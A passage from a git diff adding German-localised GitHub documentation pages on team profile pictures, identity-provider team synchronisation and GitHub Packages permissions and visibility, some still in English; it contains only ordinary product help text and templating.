+9. Klicke auf **Änderungen bestätigen**, um eine Anfrage zum Hinzufügen oder Ändern des deinem Team übergeordneten Elements zu senden.
+  ![Modales Feld mit Informationen zu den Änderungen an den Berechtigungen für den Repositoryzugriff](/assets/images/help/teams/confirm-new-parent-team.png)
+
+## Weiterführende Themen
+
+- [Informationen zu Teams](/articles/about-teams)
+- [Verschieben eines Teams innerhalb der Hierarchie deiner Organisation](/articles/moving-a-team-in-your-organization-s-hierarchy)
+- [Anfordern des Hinzufügens eines untergeordneten Teams](/articles/requesting-to-add-a-child-team)
diff --git a/translations/de-DE/content/organizations/organizing-members-into-teams/setting-your-teams-profile-picture.md b/translations/de-DE/content/organizations/organizing-members-into-teams/setting-your-teams-profile-picture.md
new file mode 100644
index 0000000000..e32a115bd8
--- /dev/null
+++ b/translations/de-DE/content/organizations/organizing-members-into-teams/setting-your-teams-profile-picture.md
@@ -0,0 +1,30 @@
+---
+title: Profilbild Ihres Teams festlegen
+intro: Team-Betreuer und Organisationsinhaber können für Teams Profilbilder festlegen. Das Profilbild wird auf der Seite des Teams angezeigt.
+redirect_from:
+  - /articles/setting-your-team-s-profile-picture
+  - /articles/setting-your-teams-profile-picture
+  - /github/setting-up-and-managing-organizations-and-teams/setting-your-teams-profile-picture
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Team profile picture
+ms.openlocfilehash: 2c7fd223aa2417f4f811b4a58e5e90a7b8cba51b
+ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145134430'
+---
+Wenn für ein Team kein Profilbild festgelegt ist, wird stattdessen das Profilbild der Organisation angezeigt.
+
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team_settings %}
+5. Klicke auf **Neues Bild hochladen**, und wähle das gewünschte Profilbild aus.
+![Neues Bild hochladen](/assets/images/help/teams/org-team-profile-picture-upload.png)
+6. Klicke im Bild, und ziehe den Mauszeiger, um das Bild nach Bedarf zuzuschneiden. Klicke anschließend auf **Neuen Team-Avatar festlegen**.
+![Neuen Team-Avatar festlegen](/assets/images/help/teams/org-team-set-new-team-avatar.png)
diff --git a/translations/de-DE/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md b/translations/de-DE/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md
new file mode 100644
index 0000000000..2636961894
--- /dev/null
+++ b/translations/de-DE/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md
@@ -0,0 +1,100 @@
+---
+title: Ein Team mit einer Identitätsanbieter-Gruppe synchronisieren
+intro: 'Du kannst ein {% data variables.product.product_name %}-Team mit einer unterstützten Identitätsanbietergruppe (IdP) synchronisieren, um Teammitglieder automatisch hinzuzufügen oder zu entfernen.'
+redirect_from:
+  - /github/setting-up-and-managing-organizations-and-teams/synchronizing-a-team-with-an-identity-provider-group
+permissions: 'Organization owners and team maintainers can synchronize a {% data variables.product.prodname_dotcom %} team with an IdP group.'
+versions:
+  ghae: '*'
+  ghec: '*'
+  feature: scim-for-ghes
+topics:
+  - Organizations
+  - Teams
+shortTitle: Synchronize with an IdP
+ms.openlocfilehash: c4ea8dc13eee674b962108ba52c71e67e8462b87
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148106981'
+---
+{% data reusables.enterprise-accounts.emu-scim-note %}
+
+## Informationen zur Teamsynchronisierung
+
+{% data reusables.identity-and-permissions.about-team-sync %}
+
+{% ifversion ghec %}Du kannst bis zu fünf Identitätsanbietergruppen mit einem {% data variables.product.product_name %}-Team verbinden.{% elsif ghae %}Du kannst ein {% data variables.product.product_name %}-Team mit einer Identitätsanbietergruppe verbinden. Alle Benutzer*innen in der Gruppe werden automatisch dem Team sowie der übergeordneten Organisation als Mitglieder hinzugefügt. Wenn du eine Gruppe von einem Team trennst, werden Benutzer*innen, die durch die Teammitgliedschaft Mitglieder der Organisation geworden sind, aus der Organisation entfernt.{% endif %} Du kannst eine Identitätsanbietergruppe mehreren {% data variables.product.product_name %}-Teams zuweisen.
+
+{% ifversion ghec %}Die Teamsynchronisierung unterstützt keine Identitätsanbietergruppen mit mehr als 5.000 Mitgliedern.{% endif %}
+
+Sobald ein {% data variables.product.prodname_dotcom %}-Team mit einer IdP-Gruppe verbunden ist, muss dein IdP-Administrator Änderungen an der Teammitgliedschaft über den Identitätsanbieter durchführen. Die Teammitgliedschaft kann nicht über {% data variables.product.product_name %}{% ifversion ghec %} oder die API{% endif %} verwaltet werden.
+
+{% ifversion ghec %}{% data reusables.enterprise-accounts.team-sync-override %}{% endif %}
+
+{% ifversion ghec %} Alle Änderungen, die über deinen Identitätsanbieter vorgenommen werden, werden im Überwachungsprotokoll in {% data variables.product.product_name %} als Änderungen angezeigt, die vom Teamsynchronisierungsbot vorgenommen wurden. Dein IdP wird die Daten der Teammitgliedschaft einmal pro Stunde an {% data variables.product.prodname_dotcom %} senden.
+Beim Verbinden eines Teams mit einer IdP-Gruppe werden unter Umständen einige Teammitglieder entfernt. Weitere Informationen findest du unter [Anforderungen für Mitglieder synchronisierter Teams](#requirements-for-members-of-synchronized-teams).
+{% endif %}
+
+{% ifversion ghae %} Wenn sich die Gruppenmitgliedschaft bei deinem Identitätsanbieter ändert, sendet der Identitätsanbieter gemäß dem von ihm festgelegten Zeitplan eine SCIM-Anforderung mit den Änderungen an {% data variables.product.product_name %}. Alle Anforderungen, bei denen die {% data variables.product.prodname_dotcom %}-Team- oder -Organisationsmitgliedschaft geändert wird, werden im Überwachungsprotokoll als Änderungen erfasst, die von dem Konto vorgenommen wurden, das zum Konfigurieren der Benutzerbereitstellung verwendet wurde. Weitere Informationen zu diesem Konto findest du unter [Konfigurieren der Benutzerbereitstellung für dein Unternehmen](/admin/authentication/configuring-user-provisioning-for-your-enterprise). Weitere Informationen zu Zeitplänen für SCIM-Anforderungen findest du in der Microsoft-Dokumentation unter [Überprüfen des Status der Benutzerbereitstellung](https://docs.microsoft.com/en-us/azure/active-directory/app-provisioning/application-provisioning-when-will-provisioning-finish-specific-user). {% endif %}
+
+Übergeordnete Teams können nicht mit IdP-Gruppen synchronisiert werden. Wenn das Team, das du mit einer IdP-Gruppe verbinden möchtest, ein übergeordnetes Team ist, empfehlen wir, ein neues Team zu erstellen oder die verschachtelten Beziehungen zu entfernen, die aus deinem Team ein übergeordnetes Team machen. Weitere Informationen findest du unter [Informationen zu Teams](/articles/about-teams#nested-teams), [Erstellen eines Teams](/organizations/organizing-members-into-teams/creating-a-team) und [Verschieben eines Teams innerhalb der Hierarchie deiner Organisation](/articles/moving-a-team-in-your-organizations-hierarchy).
+
+Um den Repository-Zugriff für jedes {% data variables.product.prodname_dotcom %}-Team zu verwalten, einschließlich Teams, die mit einer IdP-Gruppe verbunden sind, musst du Änderungen mit {% data variables.product.product_name %} vornehmen. Weitere Informationen findest du unter [Informationen zu Teams](/articles/about-teams) und [Verwalten des Teamzugriffs auf ein Organisationsrepository](/articles/managing-team-access-to-an-organization-repository). 
+
+{% ifversion ghec %}Du kannst die Teamsynchronisierung auch über die API verwalten. Weitere Informationen findest du unter [Teamsynchronisierung](/rest/reference/teams#team-sync).{% endif %}
+
+{% ifversion ghec %}
+## Anforderungen an Mitglieder synchronisierter Teams
+
+Wenn du ein Team mit einer Identitätsanbietergruppe verbunden hast, fügt die Teamsynchronisierung die einzelnen Mitglieder der Identitätsanbietergruppe dem entsprechenden Team in {% data variables.product.product_name %} nur dann hinzu, wenn Folgendes der Fall ist:
+- Die Person ist ein Mitglied der Organisation in {% data variables.product.product_name %}.
+- Die Person hat sich bereits mit ihrem persönlichen Konto bei {% data variables.product.product_name %} angemeldet und sich mindestens einmal über das einmalige Anmelden mit SAML beim Organisations- oder Unternehmenskonto authentifiziert.
+- Die SSO-Identität der Person ist ein Mitglied der Identitätsanbietergruppe.  
+
+Vorhandene Teams oder Gruppenmitglieder, die diese Kriterien nicht erfüllen, werden automatisch aus dem Team in {% data variables.product.product_name %} entfernt und verlieren den Zugriff auf Repositorys. Beim Widerrufen der verknüpften Identität eines Benutzers bzw. einer Benutzerin wird diese*r Benutzer*in auch aus allen Teams entfernt, die Identitätsanbietergruppen zugeordnet sind. Weitere Informationen findest du unter [Anzeigen und Verwalten des SAML-Zugriffs eines Mitglieds auf deine Organisation](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization#viewing-and-revoking-a-linked-identity) und [Anzeigen und Verwalten des SAML-Zugriffs von Benutzer*innen auf dein Unternehmen](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise#viewing-and-revoking-a-linked-identity).
+
+Sobald sich das entfernte Teammitglied jedoch wieder mit SSO bei der Organisations oder beim Enterprise-Konto authentifiziert und der verbundenen IdP-Gruppe hinzugefügt ist, kann es automatisch wieder in das Team aufgenommen werden.
+
+Um zu verhindern, dass Teammitglieder versehentlich aus einem Team entfernt werden, empfehlen wir innerhalb der Organisations oder dem Enterprise-Konto die Erzwingung des SAML SSO, die Erstellung neuer Teams zur Synchronisierung der Mitgliederdaten und die Überprüfung der IdP-Gruppenmitgliedschaften vor der Synchronisierung bestehender Teams. Weitere Informationen findest du unter [Erzwingen des einmaligen Anmeldens mit SAML für deine Organisation](/articles/enforcing-saml-single-sign-on-for-your-organization) und [Konfigurieren des einmaligen Anmeldens mit SAML für dein Unternehmen](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise).
+
+{% endif %}
+
+## Voraussetzungen
+
+{% ifversion ghec %} Damit du ein {% data variables.product.product_name %}-Team mit einer Identitätsanbietergruppe verbinden kannst, muss ein*e Organisations- oder Unternehmensbesitzer*in die Teamsynchronisierung für dein Organisations- oder Unternehmenskonto aktivieren. Weitere Informationen findest du unter [Verwalten der Teamsynchronisierung für deine Organisation](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization) und [Verwalten der Teamsynchronisierung für Organisationen in deinem Unternehmenskonto](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise).
+
+Um zu vermeiden, dass Team-Mitglieder unbeabsichtigt entfernt werden, besuche das administrative Portal deines IdP und bestätige, dass jedes aktuelle Teammitglied auch in der IdP-Gruppe vorhanden ist, die du mit diesem Team verbinden willst. Wenn du keinen Zugriff auf das Administratorenportal deines Identitätsanbieters hast, bitte deinen IdP-Administrator um die Überprüfung.
+
+Du musst Dich mit SAML SSO authentifizieren. Weitere Informationen findest du unter [Authentifizieren mit einmaligem Anmelden mit SAML](/articles/authenticating-with-saml-single-sign-on).
+
+{% elsif ghae %} Damit du ein {% data variables.product.product_name %}-Team mit einer Identitätsanbietergruppe verbinden kannst, musst du erst die Benutzerbereitstellung für {% data variables.location.product_location %} mithilfe einer unterstützten SCIM-Instanz (System for Cross-Domain Identity Management) konfigurieren. Weitere Informationen findest du unter [Konfigurieren der Benutzerbereitstellung für dein Unternehmen](/admin/authentication/configuring-user-provisioning-for-your-enterprise).
+
+Wenn du die Benutzerbereitstellung für {% data variables.product.product_name %} mithilfe von SCIM konfiguriert hast, kannst du die {% data variables.product.product_name %}-Anwendung jeder Identitätsanbietergruppe zuweisen, die du in {% data variables.product.product_name %} verwenden möchtest. Weitere Informationen findest du in der Microsoft-Dokumentation unter [Konfigurieren der automatischen Benutzerbereitstellung in GitHub AE](https://docs.microsoft.com/en-us/azure/active-directory/saas-apps/github-ae-provisioning-tutorial#step-5-configure-automatic-user-provisioning-to-github-ae).
+
+{% elsif scim-for-ghes %} Du musst die Benutzerbereitstellung mit SCIM für {% data variables.location.product_location %} konfigurieren. Weitere Informationen findest du unter [Konfigurieren der Benutzerbereitstellung mit SCIM für dein Unternehmen](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-with-scim-for-your-enterprise).
+
+{% data reusables.scim.ghes-beta-note %} {% endif %}
+
+## Eine IdP-Gruppe mit einem Team verbinden
+
+Wenn du eine Identitätsanbietergruppe mit einem {% data variables.product.product_name %}-Team verbindest, werden alle Benutzer*innen in dieser Gruppe automatisch dem Team hinzugefügt. {% ifversion ghae %}Alle Benutzer*innen, die noch keine Mitglieder der übergeordneten Organisation sind, werden auch der Organisation hinzugefügt.{% endif %}
+
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team_settings %} {% ifversion ghec %}
+6. Benutze unter "Identity Provider Groups" (Identitätsanbieter-Gruppen) das Dropdownmenü und wähle bis zu 5 Identitätsanbieter-Gruppen aus.
+    ![Dropdownliste zum Auswählen von Identitätsanbietergruppen](/assets/images/help/teams/choose-an-idp-group.png){% elsif ghae %}
+6. Wähle in der Dropdownliste unter „Identitätsanbietergruppe“ eine Identitätsanbietergruppe aus.
+    ![Dropdownliste zum Auswählen der Identitätsanbietergruppe](/assets/images/enterprise/github-ae/teams/choose-an-idp-group.png){% endif %}
+7. Klicke auf **Änderungen speichern**.
+
+## Eine IdP-Gruppe von einem Team trennen
+
+Wenn du eine IdP-Gruppe von einem {% data variables.product.prodname_dotcom %}-Team trennst, werden Teammitglieder, die dem {% data variables.product.prodname_dotcom %}-Team durch die IdP Gruppe zugewiesen wurden, aus dem Team entfernt. {% ifversion ghae %} Alle Benutzer*innen, die nur durch die Verbindung mit dem Team Mitglieder der übergeordneten Organisation geworden sind, werden auch aus der Organisation entfernt.{% endif %}
+
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team_settings %} {% ifversion ghec %}
+6. Klicke unter „Identitätsanbietergruppen“ rechts neben der Identitätsanbietergruppe, die du trennen möchtest, auf {% octicon "x" aria-label="X symbol" %}. 
+    ![Aufheben der Auswahl einer verbundenen Identitätsanbietergruppe für das GitHub-Team](/assets/images/help/teams/unselect-idp-group.png){% elsif ghae %}
+6. Klicke unter „Identitätsanbietergruppe“ rechts neben der Identitätsanbietergruppe, die du trennen möchtest, auf {% octicon "x" aria-label="X symbol" %}. 
+    ![Aufheben der Auswahl einer verbundenen Identitätsanbietergruppe für das GitHub-Team](/assets/images/enterprise/github-ae/teams/unselect-idp-group.png){% endif %}
+7. Klicke auf **Änderungen speichern**.
diff --git a/translations/de-DE/content/packages/index.md b/translations/de-DE/content/packages/index.md
new file mode 100644
index 0000000000..afed22a4ca
--- /dev/null
+++ b/translations/de-DE/content/packages/index.md
@@ -0,0 +1,48 @@
+---
+title: GitHub Packages-Dokumentation
+shortTitle: GitHub Packages
+intro: 'Erfahre, wie du Pakete sicher veröffentlichen und nutzen kannst, deine Pakete zusammen mit deinem Code speicherst und deine Pakete privat für dein Team oder öffentlich für die Open-Source-Community freigibst. Du kannst deine Pakete auch mit {% data variables.product.prodname_actions %} automatisieren.'
+introLinks:
+  quickstart: /packages/quickstart
+  reference: /packages/manage-packages
+featuredLinks:
+  guides:
+    - /packages/learn-github-packages
+    - /packages/managing-github-packages-using-github-actions-workflows
+    - /packages/learn-github-packages/installing-a-package
+  popular:
+    - /packages/working-with-a-github-packages-registry/working-with-the-npm-registry
+    - '{% ifversion docker-ghcr-enterprise-migration %}/packages/working-with-a-github-packages-registry/migrating-to-the-container-registry-from-the-docker-registry{% endif %}'
+    - /packages/learn-github-packages
+    - /packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry
+  guideCards:
+    - '{% ifversion docker-ghcr-enterprise-migration %}/packages/working-with-a-github-packages-registry/migrating-to-the-container-registry-from-the-docker-registry{% endif %}'
+    - '{% ifversion fpt or ghec or ghes > 3.4 %}/packages/working-with-a-github-packages-registry/working-with-the-container-registry{% else %}/packages/working-with-a-github-packages-registry/working-with-the-docker-registry{% endif %}'
+    - '{% ifversion packages-npm-v2 %}/packages/working-with-a-github-packages-registry/working-with-the-npm-registry{% endif %}'
+    - /packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry
+changelog:
+  label: packages
+  prefix: 'Packages: '
+redirect_from:
+  - /github/managing-packages-with-github-packages
+  - /categories/managing-packages-with-github-package-registry
+  - /github/managing-packages-with-github-package-registry
+layout: product-landing
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+children:
+  - /quickstart
+  - /learn-github-packages
+  - /working-with-a-github-packages-registry
+  - /managing-github-packages-using-github-actions-workflows
+ms.openlocfilehash: 768e5ea20b7e4242afe7a8880982052ff818df63
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147704931'
+---
+<!--This section is needed to determine the order of the left sidebar for now-->
diff --git a/translations/de-DE/content/packages/learn-github-packages/about-permissions-for-github-packages.md b/translations/de-DE/content/packages/learn-github-packages/about-permissions-for-github-packages.md
new file mode 100644
index 0000000000..8d4025e3d6
--- /dev/null
+++ b/translations/de-DE/content/packages/learn-github-packages/about-permissions-for-github-packages.md
@@ -0,0 +1,89 @@
+---
+title: About permissions for GitHub Packages
+intro: Learn about how to manage permissions for your packages.
+product: '{% data reusables.gated-features.packages %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: About permissions
+---
+
+{% ifversion fpt or ghec %}
+The permissions for packages are either repository-scoped or user/organization-scoped.
+{% endif %}
+
+## Permissions for repository-scoped packages
+
+A repository-scoped package inherits the permissions and visibility of the repository that owns the package. You can find a package scoped to a repository by going to the main page of the repository and clicking the **Packages** link to the right of the page. {% ifversion fpt or ghec %}For more information, see "[Connecting a repository to a package](/packages/learn-github-packages/connecting-a-repository-to-a-package)."{% endif %}
+
+The {% data variables.product.prodname_registry %} registries below **only** use repository-scoped permissions:
+
+  {% ifversion not fpt or ghec %}- Docker registry (`docker.pkg.github.com`){% endif %}
+  {% ifversion packages-npm-v2 %}{% else %}- npm registry{% endif %}
+  - RubyGems registry
+  - Apache Maven registry
+  - NuGet registry
+
+{% ifversion packages-npm-v2 %}For {% data variables.packages.prodname_ghcr_and_npm_registry %}, you can choose to allow packages to be scoped to a user, an organization, or linked to a repository.{% endif %}
+
+{% ifversion fpt or ghec %}
+## Granular permissions for user/organization-scoped packages
+
+Packages with granular permissions are scoped to a personal user or organization account. You can change the access control and visibility of the package separately from a repository that is connected (or linked) to a package.
+
+Currently, the {% data variables.packages.prodname_ghcr_and_npm_registry %} offer granular permissions for your container image packages.
+
+## Visibility and access permissions for container images
+
+{% data reusables.package_registry.visibility-and-access-permissions %}
+
+For more information, see "[Configuring a package's access control and visibility](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)."
+
+{% endif %}
+
+## About scopes and permissions for package registries
+
+{% data reusables.package_registry.packages-classic-pat-only %}
+
+To use or manage a package hosted by a package registry, you must use a {% data variables.product.pat_v1 %} with the appropriate scope, and your personal account must have appropriate permissions.
+
+For example:
+-  To download and install packages from a repository, your {% data variables.product.pat_v1 %} must have the `read:packages` scope, and your user account must have read permission.
+- {% ifversion fpt or ghes or ghec %}To delete a package on {% data variables.product.product_name %}, your {% data variables.product.pat_v1 %} must at least have the `delete:packages` and `read:packages` scope. The `repo` scope is also required for repo-scoped packages. For more information, see "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)."{% elsif ghae %}To delete a specified version of a package on {% data variables.product.product_name %}, your {% data variables.product.pat_v1 %} must have the `delete:packages` and `repo` scope. For more information, see "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)."{% endif %}
+
+| Scope | Description | Required permission |
+| --- | --- | --- |
+|`read:packages`| Download and install packages from {% data variables.product.prodname_registry %} | read |
+|`write:packages`| Upload and publish packages to {% data variables.product.prodname_registry %} | write |
+| `delete:packages` | {% ifversion fpt or ghes or ghec %} Delete packages from {% data variables.product.prodname_registry %} {% elsif ghae %} Delete specified versions of packages from {% data variables.product.prodname_registry %} {% endif %} | admin |
+| `repo` | Upload and delete packages (along with `write:packages`, or `delete:packages`) | write or admin |
+
+When you create a {% data variables.product.prodname_actions %} workflow, you can use the `GITHUB_TOKEN` to publish and install packages in {% data variables.product.prodname_registry %} without needing to store and manage a {% data variables.product.pat_generic %}.
+
+For more information, see:{% ifversion fpt or ghec %}
+- "[Configuring a package’s access control and visibility](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)"{% endif %}
+- "[Publishing and installing a package with {% data variables.product.prodname_actions %}](/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions)"
+- "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token/)"
+- "[Available scopes](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)"
+
+## Maintaining access to packages in {% data variables.product.prodname_actions %} workflows
+
+To ensure your workflows will maintain access to your packages, ensure that you're using the right access token in your workflow and that you've enabled {% data variables.product.prodname_actions %} access to your package.
+
+For more conceptual background on {% data variables.product.prodname_actions %} or examples of using packages in workflows, see "[Managing GitHub Packages using GitHub Actions workflows](/packages/managing-github-packages-using-github-actions-workflows)."
+
+### Access tokens  
+
+- To publish packages associated with the workflow repository, use `GITHUB_TOKEN`.
+- To install packages associated with other private repositories that `GITHUB_TOKEN` can't access, use a {% data variables.product.pat_v1 %}
+
+For more information about `GITHUB_TOKEN` used in {% data variables.product.prodname_actions %} workflows, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#using-the-github_token-in-a-workflow)."
+
+{% ifversion fpt or ghec %}
+### {% data variables.product.prodname_actions %} access for container images
+
+To ensure your workflows have access to your container image, you must enable {% data variables.product.prodname_actions %} access to the repositories where your workflow is run. You can find this setting on your package's settings page. For more information, see "[Ensuring workflow access to your package](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-workflow-access-to-your-package)."
+
+{% endif %}
diff --git a/translations/de-DE/content/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility.md b/translations/de-DE/content/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility.md
new file mode 100644
index 0000000000..3e7204200c
--- /dev/null
+++ b/translations/de-DE/content/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility.md
@@ -0,0 +1,181 @@
+---
+title: Configuring a package's access control and visibility
+intro: 'Choose who has read, write, or admin access to your container image and the visibility of your container images on {% data variables.product.prodname_dotcom %}.'
+product: '{% data reusables.gated-features.packages %}'
+redirect_from:
+  - /packages/managing-container-images-with-github-container-registry/configuring-access-control-and-visibility-for-container-images
+  - /packages/guides/configuring-access-control-and-visibility-for-container-images
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+shortTitle: Access control & visibility
+---
+{% data reusables.package_registry.container-registry-ghes-beta %}
+
+Packages with granular permissions are scoped to a personal user or organization account. You can change the access control and visibility of a package separately from the repository that it is connected (or linked) to.
+
+Currently, you can only use granular permissions with the {% data variables.packages.prodname_ghcr_and_npm_registry %}. Granular permissions are not supported in our other package registries, such as the RubyGems registry.{% ifversion docker-ghcr-enterprise-migration %} For more information about migration to the {% data variables.product.prodname_container_registry %}, see "[Migrating to the {% data variables.product.prodname_container_registry %} from the Docker registry](/packages/working-with-a-github-packages-registry/migrating-to-the-container-registry-from-the-docker-registry)."{% endif %}
+
+For more information about permissions for repository-scoped packages, packages-related scopes for PATs, or managing permissions for your actions workflows, see "[About permissions for GitHub Packages](/packages/learn-github-packages/about-permissions-for-github-packages)."
+
+## Visibility and access permissions for container images
+
+{% data reusables.package_registry.visibility-and-access-permissions %}
+
+## Configuring access to container images for your personal account
+
+If you have admin permissions to a container image that's owned by a personal account, you can assign read, write, or admin roles to other users. For more information about these permission roles, see "[Visibility and access permissions for container images](#visibility-and-access-permissions-for-container-images)."
+
+If your package is private or internal and owned by an organization, then you can only give access to other organization members or teams.
+
+{% data reusables.package_registry.package-settings-option %}
+1. On the package settings page, click **Invite teams or people** and enter the name, username, or email of the person you want to give access. Teams cannot be given access to a container image owned by a personal account.
+  ![Container access invite button](/assets/images/help/package-registry/container-access-invite.png)
+1. Next to the username or team name, use the "Role" drop-down menu to select a desired permission level.
+  ![Container access options](/assets/images/help/package-registry/container-access-control-options.png)
+
+The selected users will automatically be given access and don't need to accept an invitation first.
+
+## Configuring access to container images for an organization
+
+If you have admin permissions to an organization-owned container image, you can assign read, write, or admin roles to other users and teams. For more information about these permission roles, see "[Visibility and access permissions for container images](#visibility-and-access-permissions-for-container-images)."
+
+If your package is private or internal and owned by an organization, then you can only give access to other organization members or teams.
+
+{% data reusables.package_registry.package-settings-from-org-level %}
+{% data reusables.package_registry.package-settings-option %}
+1. On the package settings page, click **Invite teams or people** and enter the name, username, or email of the person you want to give access. You can also enter a team name from the organization to give all team members access.
+  ![Container access invite button](/assets/images/help/package-registry/container-access-invite.png)
+1. Next to the username or team name, use the "Role" drop-down menu to select a desired permission level.
+  ![Container access options](/assets/images/help/package-registry/container-access-control-options.png)
+
+The selected users or teams will automatically be given access and don't need to accept an invitation first.
+
+## Inheriting access for a container image from a repository
+
+To simplify package management through {% data variables.product.prodname_actions %} workflows, you can enable a container image to inherit the access permissions of a repository by default.
+
+If you inherit the access permissions of the repository where your package's workflows are stored, then you can adjust access to your package through the repository's permissions.
+
+Once a repository is synced, you can't access the package's granular access settings. To customize the package's permissions through the granular package access settings, you must remove the synced repository first.
+
+{% data reusables.package_registry.package-settings-from-org-level %}
+{% data reusables.package_registry.package-settings-option %}
+2. Under "Repository source", select **Inherit access from repository (recommended)**.
+  ![Inherit repo access checkbox](/assets/images/help/package-registry/inherit-repo-access-for-package.png)
+
+## Ensuring workflow access to your package
+
+To ensure that a {% data variables.product.prodname_actions %} workflow has access to your package, you must give explicit access to the repository where the workflow is stored.
+
+The specified repository does not need to be the repository where the source code for the package is kept. You can give multiple repositories workflow access to a package.
+
+{% note %}
+
+**Note:** Syncing your container image with a repository through the **Actions access** menu option is different than connecting your container to a repository. For more information about linking a repository to your container, see "[Connecting a repository to a package](/packages/learn-github-packages/connecting-a-repository-to-a-package)."
+
+{% endnote %}
+
+### {% data variables.product.prodname_actions %} access for user-account-owned container images 
+
+{% data reusables.package_registry.package-settings-option %}
+1. In the left sidebar, click **Actions access**.
+  !["Actions access" option in left menu](/assets/images/help/package-registry/organization-repo-access-for-a-package.png)
+2. To ensure your workflow has access to your container package, you must add the repository where the workflow is stored. Click **Add repository** and search for the repository you want to add.
+   !["Add repository" button](/assets/images/help/package-registry/add-repository-button.png)
+3. Using the "role" drop-down menu, select the default access level that you'd like the repository to have to your container image.
+  ![Permission access levels to give to repositories](/assets/images/help/package-registry/repository-permission-options-for-package-access-through-actions.png)
+
+To further customize access to your container image, see "[Configuring access to container images for your personal account](#configuring-access-to-container-images-for-your-personal-account)."
+
+### {% data variables.product.prodname_actions %} access for organization-owned container images 
+
+{% data reusables.package_registry.package-settings-from-org-level %}
+{% data reusables.package_registry.package-settings-option %}
+1. In the left sidebar, click **Actions access**.
+  !["Actions access" option in left menu](/assets/images/help/package-registry/organization-repo-access-for-a-package.png)
+2. Click **Add repository** and search for the repository you want to add.
+   !["Add repository" button](/assets/images/help/package-registry/add-repository-button.png)
+3. Using the "role" drop-down menu, select the default access level that you'd like repository members to have to your container image. Outside collaborators will not be included.
+  ![Permission access levels to give to repositories](/assets/images/help/package-registry/repository-permission-options-for-package-access-through-actions.png)
+
+To further customize access to your container image, see "[Configuring access to container images for an organization](#configuring-access-to-container-images-for-an-organization)."
+
+{% ifversion fpt or ghec %}
+## Ensuring {% data variables.product.prodname_github_codespaces %} access to your package
+
+By default, a codespace can seamlessly access certain packages in the {% data variables.packages.prodname_ghcr_and_npm_registry %}, such as those published in the same repository with the **Inherit access** option selected. For more information on which access is automatically configured, see "[Allowing your codespace to access a private image registry](/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry#accessing-images-stored-in-container-registry-and-npm-registry)."
+
+Otherwise, to ensure that a codespace has access to your package, you must grant access to the repository where the codespace is being launched.
+
+The specified repository does not need to be the repository where the source code for the package is kept. You can give codespaces in multiple repositories access to a package.
+
+Once you've selected the package you're interested in sharing with codespaces in a repository, you can grant that repo access.
+
+1. In the right sidebar, click **Package settings**.
+
+   !["Package settings" option in right menu](/assets/images/help/package-registry/package-settings.png)
+   
+2. Under "Manage Codespaces access", click **Add repository**.
+
+   !["Add repository" button](/assets/images/help/package-registry/manage-codespaces-access-blank.png)
+
+3. Search for the repository you want to add.
+
+   !["Add repository" button](/assets/images/help/package-registry/manage-codespaces-access-search.png)
+   
+4. Repeat for any additional repositories you would like to allow access.
+
+5. If the codespaces for a repository no longer need access to an image, you can remove access.
+
+   !["Remove repository" button](/assets/images/help/package-registry/manage-codespaces-access-item.png)
+
+{% endif %}
+## Configuring visibility of container images for your personal account
+
+When you first publish a package, the default visibility is private and only you can see the package. You can modify a private or public container image's access by changing the access settings.
+
+A public package can be accessed anonymously without authentication. Once you make your package public, you cannot make your package private again.
+
+{% data reusables.package_registry.package-settings-option %}
+5. Under "Danger Zone", choose a visibility setting:
+    - To make the container image visible to anyone, click **Make public**.
+    {% warning %}
+
+    **Warning:** Once you make a package public, you cannot make it private again.
+
+    {% endwarning %}
+    - To make the container image visible to a custom selection of people, click **Make private**.
+  ![Container visibility options](/assets/images/help/package-registry/container-visibility-option.png)
+
